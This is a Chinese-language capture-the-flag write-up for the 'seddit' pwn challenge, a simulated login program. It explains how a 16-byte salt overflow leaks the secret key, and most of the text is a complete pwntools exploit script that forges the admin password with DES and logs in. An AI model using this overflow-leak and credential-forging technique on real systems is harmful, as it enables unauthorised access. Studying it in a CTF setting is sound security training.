seddit

首先，检查一下程序的保护机制

然后，我们用IDA分析一下

是一个模拟登陆的程序，密码就是用户名用salt+key来加密后的结果

只要我们能够成功登陆admin账号，就能输出答案

溢出点在这

我们可以**[让salt的长度为16，这样，key的内容就会写到v5的地址处，这样我们后面再输出，就能得到key]{.mark}**，然后我们加密admin字符串，即可得到密码登陆

综上，我们的exp脚本

1.	#coding:utf8  
2.	from pwn import *  
3.	from ctypes import *  
4.	import binascii  
5.	  
6.	sh = process('./seddit')  
7.	#sh = remote('111.198.29.45',49317)  
8.	  
9.	cryptolib = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libcrypto.so.1.0.0')  
10.	  
11.	def register(salt):  
12.	   sh.sendlineafter('What would you like to do?','1')  
13.	   sh.sendlineafter('Enter username:','seaase')  
14.	   sh.sendlineafter('Enter salt:',salt)  
15.	  
16.	def login(password):  
17.	   sh.sendlineafter('What would you like to do?','2')  
18.	   sh.sendlineafter('Enter username:','admin')  
19.	   sh.sendlineafter('Enter password:',password)  
20.	  
21.	def show():  
22.	   sh.sendlineafter('What would you like to do?','3')  
23.	   sh.sendlineafter('Title:','Leak')  
24.	   sh.sendlineafter('What type of post?','0')  
25.	  
26.	payload = 'a'*0x10  
27.	register(payload)  
28.	#泄露key  
29.	show()  
30.	sh.recvuntil('content: ')  
31.	key = sh.recvuntil('\n',drop = True)[0:7]  
32.	print 'key=',key  
33.	passwd = 'a'*7 + key  
34.	user = 'admin'  
35.	#加密，得到密码  
36.	key = (c_char * 8)('\x00')  
37.	des_key_schedule = (c_char * 128)('\x00')  
38.	ans_out = (c_char * 256)('\x00')  
39.	cryptolib.DES_string_to_key(passwd,key)  
40.	cryptolib.DES_set_key(key,des_key_schedule)  
41.	cryptolib.DES_ecb_encrypt(user,ans_out,des_key_schedule,1)  
42.	password = ''  
43.	for i in range(len(ans_out)):  
44.	  c = ans_out[i]  
45.	  if c == '\x00':  
46.	     break;  
47.	  password += c  
48.	password = binascii.b2a_hex(password)  
49.	print 'password=',password  
50.	  
51.	#得到flag  
52.	login(password)  
53.	sh.interactive()